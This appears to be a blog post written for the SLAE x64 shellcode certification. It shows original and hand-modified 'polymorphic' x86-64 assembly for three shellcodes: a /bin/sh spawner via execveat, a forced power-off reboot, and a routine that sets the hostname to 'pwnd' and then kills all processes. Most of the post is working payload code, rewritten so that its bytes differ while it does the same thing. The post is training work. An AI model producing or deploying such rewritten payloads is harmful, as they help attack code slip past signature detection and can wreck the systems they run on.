For the sixth x64 SLAE assignment, polymorphic shellcode must be created. In this case, polymorphic means that the shellcode will be hand crafted to contain different instructions than it originally contained, without losing any functionality. The three shellcode that will be taken from shell-storm.org are:
- Linux/x86_64 — execveat(“/bin//sh”)
- Linux/x86_64 — reboot(POWER_OFF)
- Linux/x86_64 — sethostname() & killall
Linux/x86_64 — execveat("/bin//sh")
The first example of polymorphic shellcode that will be created is execveat(“/bin//sh”). This piece of code will spawn a basic shell. It’s original size is 29 bytes.
The original shellcode can be found below:
section .text
global _start_start:
push 0x42
pop rax
inc ah
cqo
push rdx
movabs rdi, 0x68732f2f6e69622f
push rdi
push rsp
pop rsi
mov r8, rdx
mov r10, rdx
syscall
In order to change around the bytes without losing functionality, the following modifications were performed:
- Instead of immediately pushing
0x142
intorax
,rax
is xor’d out. This zero is then used instead of the register’s original zero holder (rdx
) e.g. being a string null terminator and zeroing out other registers - Instead of
/bin//sh
,//bin/sh
is used - The string object was popped into
r8
, and a zero intorsi
, then these values were exchanged - Lastly,
rax
was properly configured with anadd
command instead ofmov
With the modifications the new size is 36 bytes (a 24.14% increase).
The final shellcode is displayed below:
section .text
global _start_start:
xor rax, rax
push rax
mov rdi, 0x68732f6e69622f2f
push rdi
push rsp
pop r8
mov rsi, rax
xchg rsi, r8
mov r10, rax
mov rdx, rax
add al, 0x42
inc ah
syscall
After compiling the shellcode executing it within a harness, the following screenshot indicates that the functionality is still working as intended:
Linux/x86_64 — reboot(POWER_OFF)
The second example of polymorphic shellcode that will be created is reboot(POWER_OFF). This piece of code will reboot a user’s computer. It’s original size is 19 bytes.
The original shellcode can be found below:
section .text
global _start_start:
mov edx, 0x4321fedc
mov esi, 0x28121969
mov edi, 0xfee1dead
mov al, 0xa9
syscall
In order to change around the bytes without losing functionality, the following modifications were performed:
0x28121969
is now moved intoedx
0xfee1dead
is now moved intoesi
0x4321fedc
is now moved intoedi
- The
esi
,edx
, andedi
registers are then exchanged to move the appropriate values back into their proper places - Instead of moving
0xa9
intorax
,rax
is xor’d with itself and0xa9
is added to it
With the modifications the new size is 26 bytes (a 36.84% increase).
The final shellcode is displayed below:
section .text
global _start_start:
mov edx, 0x28121969
mov esi, 0xfee1dead
mov edi, 0x4321fedc
xchg esi, edx
xchg edx, edi
xor rax, rax
add al, 0xa9
syscall
WARNING! Running the shellcode above will in fact reboot your computer. Be careful. Compile and execute it at your own risk.
Linux/x86_64 — sethostname() & killall
The second example of polymorphic shellcode that will be created is sethostname() & killall. This piece of code will change the victim’s hostname and kill all programs. It’s original size is 33 bytes.
The original shellcode can be found below:
section .text
global _start_start:;-- setHostName("Rooted !"); 22 bytes --;
mov al, 0xaa
mov r8, 'Rooted !'
push r8
mov rdi, rsp
mov sil, 0x8
syscall;-- kill(-1, SIGKILL); 11 bytes --;
push byte 0x3e
pop rax
push byte 0xff
pop rdi
push byte 0x9
pop rsi
syscall
In order to change around the bytes without losing functionality, the following modifications were performed:
0xaa
is moved intosil
, and0x08
is moved intoal
. Thenrax
andrsi
are exchanged- The hostname is changed to
pwnd
instead ofRooted !
- For
sigkill
,0x3e
is moved intordi
,0xff
intorsi
, and0x9
intorax
. These values are then manipulated back into their proper places.
With the modifications the new size is 32 bytes (a -3.03% increase). That’s right, the final payload was shorter than the original despite modifications.
The final shellcode is displayed below:
section .text
global _start_start:;-- setHostName("pwnd"); 17 bytes --;
mov sil, 0xaa
push 'pwnd'
mov rdi, rsp
mov al, 0x08
xchg rax, rsi
syscall;-- kill(-1, SIGKILL); 15 bytes --;
push byte 0x3e
pop rdi
push byte 0xff
pop rsi
push byte 0x9
pop rax
xchg rsi, rax
xchg rax, rdi
syscall
BE CAREFUL! Running this could damage your system. Running it effectively kills your system. Use it at your own risk. After running it, all user programs are killed and the user falls back into the following prompt:
This blog post has been created for completing the requirements of the x86_64 SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert
Student ID: PA-11200
The source code for this assignment can be found here.